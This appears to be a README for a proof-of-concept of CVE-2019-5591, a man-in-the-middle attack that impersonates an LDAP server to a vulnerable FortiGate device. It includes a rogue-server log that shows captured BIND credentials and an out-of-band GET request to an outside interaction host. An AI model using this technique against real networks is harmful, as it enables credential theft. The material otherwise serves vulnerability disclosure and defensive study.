ayewo/fortios-ldap-mitm-poc-cve-2019-5591The default configuration of LDAP on FortiOS v6.0.x to v6.2.0 does not check server identity for LDAP/S leading to MITM attacks. This PoC demos full exfiltration of credentials sent on the local subnet to an LDAP server that is easily impersonated.
This Proof of Concept (PoC) demonstrates a MITM (Man-In-The-Middle) Attack: impersonation of an LDAP server on the local subnet of a FortiGate device running a vulnerable version of FortiOS.
These versions are vulnerable:
| Version | Affected | Solution |
|---|
| FortiOS 7.0 | Not affected | Not Applicable |
| FortiOS 6.0 | 6.0.3 through 6.2.0 | Upgrade to 6.2.1 or above |
FortiOS 6.2.0 running inside VMware Fusion was used for the PoC.
[2025-10-16 22:59:47.366765] New connection from 192.168.43.24:54789
--- Request #1 ---
BIND Request:
Message ID: 1
DN: cn=admin,dc=example,dc=com
Password: ldapAdMiNPassw0rd!
-> Sent BIND Response (Success)
--- Request #2 ---
SEARCH Request:
Message ID: 2
Base DN: dc=example,dc=com
Filter:
cn
nLBkcjDTHC01.1...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #3 ---
BIND Request:
Message ID: 3
DN: dc=example,dc=com
Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔑 CAPTURED PASSWORD: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔧 No scheme found — prepending https:// -> https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
📡 Attempting GET request to: https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
✅ GET request successful! Status code: 200
-> Sent BIND Response (Success)
--- Request #4 ---
SEARCH Request:
Message ID: 4
Base DN: dc=example,dc=com
Filter:
objectclass0memberOfprimaryG...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #5 ---
[2025-10-16 22:59:49.159193] Connection closed from 192.168.43.24:54789
============================================================
SESSION SUMMARY - Captured Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
============================================================
The default configuration of LDAP on FortiOS v6.0.x to v6.2.0 does not check server identity for LDAP/S leading to MITM attacks. This PoC demos full exfiltration of credentials sent on the local subnet to an LDAP server that is easily impersonated.